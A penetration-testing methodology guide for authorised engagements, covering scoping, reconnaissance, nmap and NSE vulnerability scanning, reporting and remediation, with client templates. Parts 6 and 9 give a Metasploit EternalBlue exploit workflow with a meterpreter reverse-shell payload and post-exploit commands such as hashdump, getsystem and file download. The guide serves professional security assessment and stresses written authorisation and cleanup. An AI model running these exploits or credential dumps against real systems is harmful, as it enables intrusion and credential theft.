Security & Network Testing Guide

Author: Hunter
Scope: Authorised self-audit and client-engagement security/network testing. Parrot OS CLI primary, Windows/Zenmap secondary.
Companion to: *Technician's Field Guide* (use that for fault diagnosis; use this for assessments).

How to use this guide

This guide walks an engagement end-to-end: before you touch a packet, through the active testing phases, out to the written deliverable. Each phase contains:

- **Goal** — what this phase is actually for
- **Inputs / pre-reqs** — what you need before starting
- **Commands / workflow** — copy-paste ready
- **What a good result looks like** — how to know when to move on
- **Common mistakes** — how the phase goes wrong
- **What to write down** — exactly what goes into the report

Golden rule: No scan without written authorisation. Not "verbal from the homeowner," not "it's my own network." Even on your own gear, write a one-line scope note for yourself before you start — it protects you, forces you to think about blast radius, and means the evidence trail is already half-built if anything goes sideways.

Table of contents

- Part 1 — Pre-engagement & scoping
- Part 2 — Methodology overview (the five phases)
- Part 3 — Phase 1: Passive reconnaissance
- Part 4 — Phase 2: Active scanning
- Part 5 — Phase 3: Vulnerability assessment
- Part 6 — Phase 4: Validation / controlled exploitation
- Part 7 — Phase 5: Reporting
- Part 8 — NSE script reference (by service)
- Part 9 — Metasploit quick workflows
- Part 10 — Remediation playbook
- Appendix A — Client intake & scope form
- Appendix B — Findings log template
- Appendix C — Final report template
- Appendix D — Command quick reference (Parrot CLI ↔ Windows)

Part 1 — Pre-engagement & scoping

Before any scan. This part is boring. It is also the part that keeps you out of trouble.

1.1 Authorisation

You need, in writing (email is fine), from someone with authority over the asset:

- What assets are in scope (IPs, hostnames, subnets, URLs, physical locations)
- What is **out of scope** (production DBs, VoIP, printers, third-party SaaS)
- Testing window (date, time, timezone)
- Your contact for an abort call ("stop the test")
- Their contact if you find something critical mid-test
- Allowed techniques (scan-only? vuln detection? validated exploitation?)
- Data handling rules (where results live, who sees them, retention)

If it's your own home network, a dated note in your notebook is fine — but write it. "2026-04-23, self-audit of 192.168.1.0/24, validated exploitation allowed on own devices only" is enough.

1.2 Scope definition — questions to ask

Copy these straight into your intake notes:

1. What's the business reason for this test?
2. What are the crown jewels? (data, systems you most need to protect)
3. Any fragile / production systems that must NOT be touched?
4. Is there a known maintenance window I should work inside?
5. What monitoring / SOC / IDS is in place? Should I notify them?
6. Who do I call if I knock something over?
7. Deliverable format? (PDF report, spreadsheet of findings, retest?)
8. Evidence retention — keep raw scans how long? Delete when?

1.3 Rules of engagement

Decide up-front, document:

- **Test intensity:** Scan-only / vuln-detect / validated exploit / full engagement
- **Credentials:** Black-box (none), grey-box (user creds), white-box (admin + docs)
- **Network position:** External (WAN), internal (on LAN), assumed breach (inside a host)
- **Social engineering:** Allowed? Phishing? Physical?
- **DoS:** Almost always no. Get explicit written permission if yes.
- **Data exfil:** Allowed for proof-of-concept? Size limit? Destination?

1.4 What you should always avoid (without specific written permission)

- `--script dos` — actually crashes things
- `--script exploit` — actively exploits, not just detects

- `--script brute` — locks accounts
- `--script all` — includes everything above
- `-T5` — aggressive timing, drops packets, misses findings
- Running against devices you cannot power-cycle if they hang (printers, old embedded gear, medical equipment)

Part 2 — Methodology overview

The five phases, in order. Do not skip. Skipping is how you miss the thing you were hired to find.

```
+-----------------------+
| 1. Passive Recon      |  No packets to target. Open-source intel only.
+-----------+-----------+
            |
+-----------v-----------+
| 2. Active Scanning    |  Host discovery, port scan, service + OS fingerprinting.
+-----------+-----------+
            |
+-----------v-----------+
| 3. Vuln Assessment    |  Map services to known vulnerabilities. Still detection, not exploitation.
+-----------+-----------+
            |
+-----------v-----------+
| 4. Validation         |  Controlled exploit to confirm a finding (explicit permission only).
+-----------+-----------+
            |
+-----------v-----------+
| 5. Reporting          |  Findings, evidence, impact, remediation, retest plan.
+-----------------------+
```

Why each phase matters

- **Recon** tells you what you're looking at before you make noise.
- **Scanning** gives you the attack surface map.
- **Vuln assessment** separates "interesting" from "exploitable on paper."
- **Validation** separates "exploitable on paper" from "actually exploitable here, now." Most findings never need this phase — scanner output + context is enough.
- **Reporting** is the entire product. The scan is just raw material.

Part 3 — Phase 1: Passive reconnaissance

Goal: Learn as much as possible about the target without sending a packet to it.

Why first: Free intel. Also, whatever an attacker can trivially find from the outside is already known by someone. You want to know it before them.

3.1 What to gather

For each in-scope domain / org:

- Registrant info (whois)
- Nameservers, MX records, SPF/DMARC/DKIM
- Subdomains (cert transparency logs, search)
- Exposed services shown on Shodan / Censys
- Data breach appearances (HIBP — their own corporate addresses only, with permission)
- Any public GitHub / S3 / pastebin leaks mentioning the domain

3.2 Tools & commands

On Parrot / Linux CLI

```
# Whois
whois example.com

# DNS basics
dig example.com ANY +noall +answer
dig MX example.com +short
dig TXT example.com +short
dig NS example.com +short

# Subdomain discovery (cert transparency)
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.
[].name_value' | sort -u

# Reverse DNS sweep
for ip in 203.0.113.{1..254}; do host $ip; done | grep -v "not found"

# Mail security posture
dig TXT example.com +short | grep -i spf
dig TXT _dmarc.example.com +short
```

Shodan (no scan packets to target)

```
# Install once:
pip install shodan --break-system-packages
shodan init YOUR_API_KEY

# Lookups
shodan host 203.0.113.5
shodan search "org:\"Example Corp\""
shodan search "hostname:example.com"
```

Windows equivalents

```
# DNS
Resolve-DnsName example.com -Type ANY
Resolve-DnsName example.com -Type MX
Resolve-DnsName _dmarc.example.com -Type TXT

# Whois (requires sysinternals whois.exe)
whois.exe example.com
```

3.3 What a good recon output looks like

You can answer, for each target:

- IP block and hosting provider
- Externally visible services (ports, banners from Shodan)
- Mail security hygiene (SPF/DMARC/DKIM all present and strict, or not)
- Known subdomains and which resolve
- Any obviously leaked credentials or config data

3.4 Common mistakes

- Running `dig` / `whois` against non-targets ("while I'm here")
- Using your personal Shodan API key on a client test — log it against a work account
- Forgetting that Shodan probes leak your target list to Shodan
- Treating recon as optional. It's not. It reframes everything you see later.

3.5 What to write down

- Source, date, and the query you ran
- Raw output (save to `~/engagements/<client>/recon/`)
- Summary: "External attack surface is X IPs, Y hostnames, Z notable services"

Part 4 — Phase 2: Active scanning

Goal: Build an accurate map of live hosts, open ports, running services, and OS.

4.1 Scan plan — work in stages

Do not jump straight to an all-ports, all-scripts scan. Stage it.

```
Stage 1: Host discovery (who's alive?)
Stage 2: Quick port sweep (top 1000 TCP)
Stage 3: Deep port sweep (all 65535 TCP, selected UDP)
Stage 4: Service + version detection on open ports
Stage 5: OS fingerprinting
Stage 6: Script scans (category-based) — covered in Phase 3
```

Each stage narrows the next. You only run slow/loud scans against confirmed-interesting targets.

4.2 Stage 1 — Host discovery

Linux CLI (Parrot)

```
# ARP-based sweep on your own LAN (fastest, most reliable on a
switched network)
sudo nmap -sn -PR 192.168.1.0/24 -oA ~/engagements/client/sweep
```

```
# ICMP + SYN + ACK probe for networks across a gateway
sudo nmap -sn -PE -PS80,443 -PA80,443 -PP <target-range> -oA
~/engagements/client/sweep

# If ICMP is blocked (Telstra Smart Modem, corporate firewalls):
sudo nmap -sn -PS22,80,443,3389 -PA80,443 <target> -oA
~/engagements/client/sweep
```

Windows (Zenmap, run as admin)

```
nmap -sn -PR 192.168.1.0/24 -oA C:\Users\Hunter\scans\sweep
```

4.3 Stage 2 — Quick port sweep

```
# Top 1000 ports, SYN, default scripts, version detect
sudo nmap -Pn -sS -sC -sV --top-ports 1000 -T4 -v \
  -oA ~/engagements/client/quick_<target> <target>
```

4.4 Stage 3 — Deep port sweep

```
# All TCP, version detect, OS detect
sudo nmap -Pn -sS -sV -O -p- -T4 -v \
  --version-intensity 9 \
  -oA ~/engagements/client/deep_<target> <target>

# UDP is slow. Run targeted, not "all ports":
sudo nmap -Pn -sU -sV -p
53,67,68,69,123,137,161,500,514,1900,4500,5353 \
  -T4 -v -oA ~/engagements/client/udp_<target> <target>
```

4.5 Stage 4 & 5 — merged into the audit scan

Version detection and OS fingerprinting usually happen inside the audit scan (Phase 3) — no separate stage needed unless you're debugging.

4.6 Why `-Pn` and why `sudo`

- `-Pn` tells nmap "skip discovery, assume the host is up." Use it whenever the target is known alive, the router drops ICMP (common), or discovery is giving inconsistent results.
- `sudo` (Linux) or Run as Admin (Windows) is required for raw-socket scans: `-sS`, `-sU`, `-sA`, `-O`, and traceroute. Without it, you'll silently get degraded scan types or zero results.

4.7 What a good scan output looks like

- `.nmap`, `.xml`, `.gnmap` files all written to the engagement folder
- Every live host has: open TCP ports, service names & versions, best-effort OS guess
- Scan completion time logged
- No hosts marked "host seems down" when you know they're up — if so, you missed an `-Pn`

4.8 Common scanning mistakes

- Running without `sudo` / admin and wondering why `-sS` fails with "0 hosts up"
- Forgetting `-p-` and missing services on high ports (splunk 8089, elasticsearch 9200, etc.)

- Running `-T5` and missing a third of the open ports
- Writing output with `-oA myscan` instead of full path, then losing the files
- Scanning from a VPN-connected adapter when you meant the LAN (pin with `-e wlan0` / `-e eth4`)

4.9 What to write down

For each target:

Host	OS guess	Open TCP	Open UDP	Notes

Keep the raw `.xml` — it feeds Metasploit import and report generators. Keep the `.gnmap` — it's the easiest to grep.

Part 5 — Phase 3: Vulnerability assessment

Goal: Given the service / version map, identify known vulnerabilities and weak configurations. **Still detection only.**

5.1 The core audit scan

This is the workhorse. Runs against a known-alive host with known-open ports.

```
sudo nmap -Pn -sS -sV -O -p- \
  --version-intensity 9 -T4 -v \
  --script "default,safe,vuln,discovery" \
  -oA ~/engagements/client/audit_<target> <target>
```

What each piece does

- `default,safe` — banners, titles, SMB info, TLS certs. No stability risk.
- `discovery` — network topology, SMB shares, DHCP, UPnP. Harmless info.
- `vuln` — detects known CVEs (Heartbleed, Shellshock, EternalBlue, etc.). Does **not** exploit them.
- `--version-intensity 9` — probes hard for exact versions. Slower, higher signal.

Silencing noisy NSE script warnings

If `broadcast-sonicwall-discover`, `url-snarf`, `mtrace`, `targets-xml`, or `shodan-api` whinge about missing args:

```
--script "(default or safe or discovery or vuln) and not (broadcast-sonicwall-discover or url-snarf or mtrace or targets-xml or shodan-api)"
```

With Shodan API (external recon inside the audit)

```
echo "shodan-api.apikey=YOUR_KEY" > ~/.nmap-args
# then append:
--script-args-file=/home/hunter/.nmap-args
```

5.2 Targeted follow-up scans

After the audit, run tighter script sets against specific services. Much higher signal-to-noise.

HTTP / HTTPS

```
sudo nmap -Pn -sV -p 80,443,8080,8443 \
  --script "http-title,http-server-header,http-methods,http-enum,http-
security-headers,http-vuln-*,http-shellshock,http-cors,http-cookie-
flags" \
  -oA ~/engagements/client/web_<target> <target>
```

TLS / SSL

```
sudo nmap -Pn -sV -p 443,465,636,993,995,8443 \
  --script "ssl-enum-ciphers,ssl-cert,ssl-heartbleed,ssl-poodle,ssl-
ccs-injection,ssl-dh-params,sslv2,sslv2-drown" \
  -oA ~/engagements/client/tls_<target> <target>
```

`ssl-enum-ciphers` gives you an A/B/C/F grade per cipher suite — great for the report.

SMB (Windows, NAS, file shares)

```
sudo nmap -Pn -sV -p 139,445 \
  --script "smb-os-discovery,smb-enum-shares,smb-enum-users,smb-
security-mode,smb2-security-mode,smb-vuln-*,smb-protocols" \
  -oA ~/engagements/client/smb_<target> <target>
```

`smb-vuln-ms17-010` = EternalBlue. `smb-protocols` shows SMBv1.

SSH

```
sudo nmap -Pn -sV -p 22 \
  --script "ssh-hostkey,ssh-auth-methods,ssh2-enum-algos,ssh-
publickey-acceptance" \
  -oA ~/engagements/client/ssh_<target> <target>
```

Databases

```
sudo nmap -Pn -sV -p 1433,3306,5432,27017,6379 \
  --script "ms-sql-info,ms-sql-empty-password,mysql-info,mysql-empty-
password,mongodb-info,mongodb-databases,redis-info" \
  -oA ~/engagements/client/db_<target> <target>
```

Routers / IoT / printers

```
sudo nmap -Pn -sV \
  --script "snmp-info,snmp-sysdescr,snmp-interfaces,upnp-
info,broadcast-upnp-info,http-default-accounts,telnet-encryption" \
  -oA ~/engagements/client/iot_<target> <target>
```

`http-default-accounts` catches `admin/admin` router logins.

5.3 Second-opinion tools

Nmap scripts are great but not exhaustive. Cross-check with:

Nikto (web server CVE & misconfig scanner)

```
nikto -h https://<target> -o ~/engagements/client/nikto_<target>.txt
```

testssl.sh (TLS)

```
testssl.sh --severity LOW --htmlfile
~/engagements/client/testssl_<target>.html <target>:443
```

Gobuster / feroxbuster (content discovery on web)

```
gobuster dir -u https://<target> -w
/usr/share/wordlists/dirb/common.txt -o
~/engagements/client/gobuster_<target>.txt
```

enum4linux-ng (SMB / AD)

```
enum4linux-ng -A <target> >
~/engagements/client/enum4linux_<target>.txt
```

5.4 Vulnerability triage

For every finding, assign:

Field	Example
Title	SMBv1 enabled on 192.168.1.50
CVE / CWE	CVE-2017-0144, CWE-20
CVSS	9.3 (Critical)
Affected	hostname, IP, port, service version
Evidence	nmap output snippet, screenshot
Likelihood	How easy to exploit (internal vs external, auth required, public exploit available)
Impact	RCE / info disclosure / DoS / auth bypass
Priority	Critical / High / Medium / Low / Info
Remediation	Disable SMBv1 via `Set-SmbServerConfiguration -EnableSMB1Protocol $false`

Save this as your findings log (Appendix B). It is the skeleton of the report.

5.5 What a good vuln-assessment output looks like

- Every open service has either a CVE, a config finding, or an explicit “no issue found”
- Each CVE has evidence attached (nmap output, screenshot)
- Severities are assigned using a consistent scheme (CVSS v3.1)

- Duplicates collapsed ("SMBv1 on 5 hosts" = one finding with 5 affected assets)

5.6 Common vuln-assessment mistakes

- Quoting `vuln` script output as gospel — always read the script description to understand what "VULNERABLE" actually means
- Reporting every Informational banner as a finding — noise drowns real issues
- Missing the version-to-CVE step — nmap says "Apache 2.4.29"; you still need to check if 2.4.29 on that OS has known CVEs
- Not distinguishing "theoretically vulnerable" from "validated exploitable"

Part 6 — Phase 4: Validation / controlled exploitation

Goal: Confirm a high-severity finding is actually exploitable in this environment. Optional — do not do this without explicit written permission, even on your own network.

6.1 When to validate

- Remote code execution findings where a patch / version check alone doesn't prove exploitability
- Claimed auth bypasses
- Client specifically asked for proof-of-exploit

When to **not** validate:

- Production systems without a maintenance window
- Medical, SCADA, embedded devices you can't power-cycle
- Any finding where the remediation is already obvious and the client will act regardless

6.2 Metasploit workflow — importing scan results

```
# Start msfconsole
msfconsole -q

# Inside msfconsole:
workspace -a client_april26
db_import ~/engagements/client/audit_192.168.1.50.xml
hosts
services
vulns
```

This pulls every service & vuln nmap found into the Metasploit DB, ready for matching against modules.

6.3 Finding matching modules

```
msf6 > search name:ms17-010
msf6 > search cve:2017-0144
msf6 > search type:auxiliary path:smb
```

6.4 Auxiliary (check) vs exploit (pop) modules

Prefer auxiliary scanners for validation where possible — they confirm vulnerability without dropping a payload.

```
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(...) > set RHOSTS 192.168.1.50
msf6 auxiliary(...) > run
```

Output: "Host is likely VULNERABLE to MS17-010" — enough for the report. No shell, no payload, minimal footprint.

6.5 Exploit module (last resort, explicit permission)

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 192.168.1.50
msf6 exploit(...) > set LHOST 192.168.1.10
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > check
msf6 exploit(...) > exploit
```

`check` first, always. Only run `exploit` after written permission is logged against this specific host.

6.6 Post-exploit data collection (minimal)

Collect only what you need to prove impact. Do not pivot, do not escalate beyond scope.

```
meterpreter > sysinfo
meterpreter > getuid
meterpreter > screenshot
meterpreter > hashdump   # only if scope allows; treat hashes as
sensitive data
meterpreter > exit
```

Log off cleanly. Remove any artefacts (uploaded binaries, created accounts).

6.7 What a good validation record looks like

- Timestamp of exploit attempt
- Exact module, options, payload used
- Result: shell / crashed / failed / not vulnerable
- Screenshot proving access (e.g. `getuid` output, `sysinfo` from target)
- Artefacts created and confirmed cleaned up
- Client contact notified if any unexpected effect

6.8 Common validation mistakes

- Running `exploit` before `check`
- Not telling the client before a known-risky module
- Uploading a persistent payload and forgetting to clean up

- Pivoting to a second host without it being in scope
- Using non-meterpreter shells that bypass cleanup hooks

Part 7 — Phase 5: Reporting

The report is the product. Raw scan files are not a deliverable.

7.1 Report structure

1. **Executive summary** — one page, plain English, no jargon. "We found X criticals, Y highs. Fix these three things first."
2. **Scope & methodology** — what was tested, when, how, from where, credentials used.
3. **Findings** — ordered by severity descending. Each finding = one page (title, severity, affected, description, evidence, impact, remediation, references).
4. **Appendices** — full scan outputs, tool versions, timeline.

7.2 Writing findings well

Each finding is its own mini-story:

- **Title** — short, specific, actionable. "SMBv1 enabled on file server" not "SMB issue"
- **Severity + CVSS** — with vector string so it's reproducible
- **Affected assets** — exact IPs / hostnames / URLs
- **Description** — what the issue is, in two short paragraphs
- **Evidence** — raw output, screenshot, packet capture snippet. Redact anything sensitive.
- **Impact** — what an attacker could do with this. Business language.
- **Remediation** — exact command / config change / vendor link
- **References** — CVE, vendor advisory, MITRE ATT&CK technique

7.3 Severity rules

Use CVSS v3.1 base score, then adjust for environment:

Score	Label	Plain English
9.0 – 10	Critical	Fix now. Unauthenticated RCE, exposed creds, internet-facing.
7.0 – 8.9	High	Fix this week. Auth bypass, sensitive data exposure.
4.0 – 6.9	Medium	Fix this month. Info disclosure, weak config.
0.1 – 3.9	Low	Plan to fix. Minor

		misconfig, defence-in-depth.
0.0	Info	No action required, recorded for context.

7.4 What the client gets

- **PDF report** (this document — no raw scans, redacted evidence)
- **Optional:** XLSX findings sheet for their tracker
- **Optional:** Retest scope note for after they remediate

Give them the report, confirm receipt, delete raw scan files per the agreed retention period.

7.5 Common reporting mistakes

- Submitting the nmap output as the report
- Over-long descriptions of "what a SYN scan is" instead of what you found
- Copy-pasted generic remediations ("apply vendor patches") with no specifics
- Not tying findings to the business context (they don't care about the CVE number, they care about what happens if it's exploited)
- Leaving unredacted credentials / PII / screenshots in the PDF
- Forgetting the executive summary

Part 8 — NSE script reference by service

8.1 Script categories — safety at a glance

Category	Safe?	Use when
`default`	Yes	Always — baseline info
`safe`	Yes	Always — won't crash services
`discovery`	Yes	Mapping network
`vuln`	Yes (detection only)	Vuln assessment phase
`auth`	Yes	Checking for anon / default creds
`version`	Yes	Used internally by `-sV`
`external`	Case-by-case	Queries 3rd parties (Shodan, whois) — leaks target list
`intrusive`	Care	Might affect service behaviour
`brute`	No	Locks accounts, slow, loud

`exploit`	No	Actually exploits — use Metasploit instead
`dos`	Never	Actual denial of service
`malware`	Yes	Checks for known-infected hosts
`fuzzer`	No	Can crash services

8.2 Best-value scripts per service

HTTP / HTTPS

`http-title`, `http-server-header`, `http-methods`, `http-enum`, `http-security-headers`, `http-vuln-*`, `http-shellshock`, `http-cors`, `http-cookie-flags`, `http-robots.txt`, `http-sitemap-generator`, `http-default-accounts`

TLS / SSL

`ssl-enum-ciphers`, `ssl-cert`, `ssl-heartbleed`, `ssl-poodle`, `ssl-ccs-injection`, `ssl-dh-params`, `sslv2`, `sslv2-drown`

SMB (139 / 445)

`smb-os-discovery`, `smb-enum-shares`, `smb-enum-users`, `smb-enum-domains`, `smb-security-mode`, `smb2-security-mode`, `smb-vuln-ms17-010`, `smb-vuln-ms08-067`, `smb-vuln-cve-2017-7494`, `smb-protocols`

SSH (22)

`ssh-hostkey`, `ssh-auth-methods`, `ssh2-enum-algos`, `ssh-publickey-acceptance`

DNS (53)

`dns-recursion`, `dns-cache-snoop`, `dns-zone-transfer`, `dns-nsid`, `dns-nsec-enum`

SMTP (25 / 465 / 587)

`smtp-commands`, `smtp-enum-users`, `smtp-open-relay`, `smtp-vuln-*`

FTP (21)

`ftp-anon`, `ftp-syst`, `ftp-bounce`, `ftp-vuln-cve2010-4221`

RDP (3389)

`rdp-enum-encryption`, `rdp-ntlm-info`, `rdp-vuln-ms12-020`

Databases

`ms-sql-info`, `ms-sql-empty-password`, `ms-sql-config`, `mysql-info`, `mysql-empty-password`, `mysql-users`, `mongodb-info`, `mongodb-databases`, `redis-info`, `oracle-tns-version`

SNMP (161 / UDP)

`snmp-info`, `snmp-sysdescr`, `snmp-interfaces`, `snmp-processes`, `snmp-win32-*`

UPnP / IoT

`upnp-info`, `broadcast-upnp-info`, `telnet-encryption`

Part 9 — Metasploit quick workflows

9.1 Starting up

```
# Initialise DB (one-time)
sudo msfdb init

# Launch
msfconsole -q
```

Inside msfconsole:

```
workspace -a <engagement_name>
db_status
```

9.2 Importing nmap output

```
db_import ~/engagements/client/audit_<target>.xml
hosts
services
vulns
```

9.3 Searching modules

```
search name:eternalblue
search cve:2014-0160
search type:auxiliary path:smb
search platform:linux type:exploit rank:excellent
info <module_path>
```

9.4 Running an auxiliary scanner (validation)

```
use auxiliary/scanner/smb/smb_ms17_010
show options
set RHOSTS 192.168.1.50
set THREADS 5
run
```

9.5 Running an exploit module (with permission)

```
use exploit/<path>
set RHOSTS <target>
set LHOST <your-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

```
set LPORT 4444
check
exploit
```

9.6 Meterpreter cheatsheet

```
sysinfo             # OS, arch, hostname
getuid              # who am I
getsystem           # try to elevate
ps                  # process list
screenshot          # desktop screenshot
download <file>     # pull file to attacker
upload <file>       # push file to target
hashdump            # local SAM hashes (requires system)
shell               # drop to native shell
background          # return to msfconsole, keep session
sessions -l         # list sessions
sessions -i 1       # reattach session 1
exit                # close session
```

9.7 Cleanup checklist

Before ending a session:

- Remove any files uploaded to target
- Close extra listeners
- Terminate background sessions
- Record timestamps & IOCs in the findings log
- Export workspace: `db_export -f xml ~/engagements/client/msf_export.xml`

Part 10 — Remediation playbook

Quick-reference fixes for findings you'll see repeatedly. Tune per environment.

10.1 SMB issues

Finding	Remediation
SMBv1 enabled	PowerShell: `Set-SmbServerConfiguration -EnableSMB1Protocol $false`
MS17-010 vulnerable	Apply MS17-010 patch (KB4013389 and later)
Null sessions allowed	Group Policy: restrict anonymous enumeration
Shares world-readable	Review share permissions, apply least privilege

10.2 TLS / SSL

Finding	Remediation
SSLv2 / SSLv3 enabled	Disable in server config (IIS, Apache ssl.conf, nginx)
Heartbleed (CVE-2014-0160)	Upgrade OpenSSL to 1.0.1g+, reissue certs
Weak ciphers (RC4, 3DES)	Restrict cipher suite; aim for TLS 1.2+ with AEAD ciphers
Certificate expired / self-signed (public)	Replace with CA-signed cert, monitor expiry
HSTS missing	Add `Strict-Transport-Security` header

10.3 HTTP / Web

Finding	Remediation
Security headers missing	Add CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy
TRACE / TRACK methods enabled	Disable in server config
Directory listing enabled	Disable `Indexes` / autoindex
Default credentials	Change default admin password, enforce policy
Outdated CMS	Patch; remove unused plugins

10.4 SSH

Finding	Remediation
Password auth enabled	Move to key-only: `PasswordAuthentication no`
Root login permitted	`PermitRootLogin no`
Weak kex / cipher algorithms	Restrict `KexAlgorithms` and `Ciphers` to modern
Port 22 exposed externally	Move behind VPN, or rate-limit / fail2ban

10.5 Network / router / home

Finding	Remediation
UPnP enabled on WAN	Disable UPnP on router
WPS enabled	Disable WPS in router settings
Default admin credentials	Change, store in password manager
Outdated firmware	Apply latest firmware, enable auto-updates if available
Guest network shared with LAN	Segment guest onto separate VLAN /

	SSID
IPv6 not wanted but enabled	Disable in adapter settings or router WAN config

10.6 Windows host

Finding	Remediation
Local admin password reused	Deploy LAPS (Local Administrator Password Solution)
PowerShell v2 enabled	Disable via DISM, enforce v5.1+
LM hashes stored	Group Policy: “Network security: Do not store LAN Manager hash”
RDP exposed without NLA	Enforce Network Level Authentication
Windows Defender disabled	Re-enable, set Group Policy to enforce

Appendix A — Client intake & scope form

```
CLIENT & ENGAGEMENT
  Client name:          _____________________________
  Primary contact:      _____________________________
  Tech contact:         _____________________________
  Emergency contact:    _____________________________ (24/7 phone)
  Engagement date(s):   _____________________________
  Time window:          _____________________________ (timezone: ____)

SCOPE — IN
  External IPs / CIDR:  _____________________________
  Internal IPs / CIDR:  _____________________________
  Domains / hostnames:  _____________________________
  Web apps (URLs):      _____________________________
  Physical sites:       _____________________________

SCOPE — OUT (explicit)
  _____________________________
  _____________________________

TEST POSITION
  [ ] External (WAN)      [ ] Internal (on LAN)      [ ] Assumed
breach

TEST INTENSITY (tick max allowed)
  [ ] Passive recon only
  [ ] Scan + vuln detection
  [ ] Validation (controlled exploit on pre-approved targets)
  [ ] Full engagement (exploit + post-exploit in scope)
```

```
CREDENTIALS
  [ ] Black-box (none)    [ ] Grey-box (user)    [ ] White-box (admin
+ docs)
  Provided creds documented separately:  [ ] Yes  [ ] N/A

SPECIAL RULES
  Brute-force allowed?    [ ] Yes  [ ] No
  DoS allowed?            [ ] Yes  [ ] No  (if yes, maintenance
window: ____)
  Social engineering?     [ ] Yes  [ ] No
  Physical?               [ ] Yes  [ ] No

DELIVERABLES
  Report format:          [ ] PDF  [ ] DOCX  [ ] XLSX findings  [ ]
Retest
  Delivery by:            _____________________________
  Evidence retention:     ____ days, then destroy

AUTHORISATION
  Name:       _____________________________
  Title:      _____________________________
  Signature:  _____________________________
  Date:       _____________________________
```

Appendix B — Findings log template

Kept as a running document during the engagement. One row per finding.

```
Finding ID:         F-001
Title:              _____________________________
Severity:           Critical / High / Medium / Low / Info
CVSS v3.1:          _____________________________ (vector)
CVE / CWE:          _____________________________
Affected asset(s):  _____________________________ (IP, hostname, port,
service)

Discovered:         _____________________________ (date / time)
Discovered via:     nmap / nikto / manual / metasploit aux
Evidence path:      ~/engagements/<client>/evidence/F-001/

Description:
  ____________________________________________________________________
  ____________________________________________________________________

Impact (business language):
  ____________________________________________________________________
```

```
  ____________________________________________________________________

Likelihood:
  ____________________________________________________________________

Remediation:
  ____________________________________________________________________
  ____________________________________________________________________

Validation performed?  [ ] No   [ ] Yes — aux scanner   [ ] Yes —
exploit (permission ref: ____)
Post-fix retest?       [ ] Required   [ ] Not required
References:
  ____________________________________________________________________
```

Appendix C — Final report template (outline)

```
1. Executive Summary                                          (1 page)
   1.1 Engagement overview
   1.2 Headline findings (count by severity)
   1.3 Top three priorities

2. Scope & Methodology                                        (1-2 pages)
   2.1 Assets tested
   2.2 Out-of-scope items
   2.3 Test position, credentials, window
   2.4 Methodology (five-phase summary)
   2.5 Tools used & versions

3. Findings                                                   (1 page per
finding, descending severity)
   F-001  CRITICAL — Title
      Severity / CVSS / Affected
      Description
      Evidence (screenshot, output snippet — redacted)
      Impact
      Remediation
      References
   F-002  HIGH — Title
   ...

4. Positive observations                                      (short)
   Things the environment is doing well. Builds trust.

5. Remediation roadmap                                        (1 page)
   Prioritised table: finding -> effort -> impact -> owner
```

```
6. Appendices
   A. Full asset inventory
   B. Scan output summary
   C. Timeline
   D. Glossary
```

Appendix D — Command quick reference (Parrot CLI ↔ Windows)

Task	Parrot / Linux CLI	Windows (cmd / PowerShell / Zenmap)
Elevate	`sudo <cmd>`	Right-click → Run as admin
List interfaces	`ip addr` / `sudo nmap --iflist`	`ipconfig /all` / `nmap --iflist`
Ping sweep	`sudo nmap -sn 192.168.1.0/24`	`nmap -sn 192.168.1.0/24` (admin)
Quick scan	`sudo nmap -sC -sV <t>`	`nmap -sC -sV <t>`
Full audit	`sudo nmap -Pn -sS -sV -O -p- --script "default,safe,vuln,discovery" -oA <base> <t>`	Same command, admin prompt
Output paths	`~/engagements/<client>/`	`C:\Users\Hunter\engagements\<client>\`
Pin interface	`-e wlan0`	`-e eth4`
DNS query	`dig example.com +short`	`Resolve-DnsName example.com`
Reverse DNS	`dig -x 203.0.113.5`	`Resolve-DnsName 203.0.113.5`
Traceroute	`mtr <t>` / `traceroute <t>`	`tracert <t>` / `Test-NetConnection <t> -TraceRoute`
Port check (single)	`nc -vz <t> 80`	`Test-NetConnection <t> -Port 80`
ARP table	`ip neigh`	`arp -a`
Routes	`ip route`	`route print` / `Get-NetRoute`
Listening sockets	`sudo ss -tulpn`	`netstat -ano`

Start Metasploit	`msfconsole -q`	Kali / WSL only; Windows native = run in Kali VM

End of Testing Guide. Companion document: Technician's Field Guide.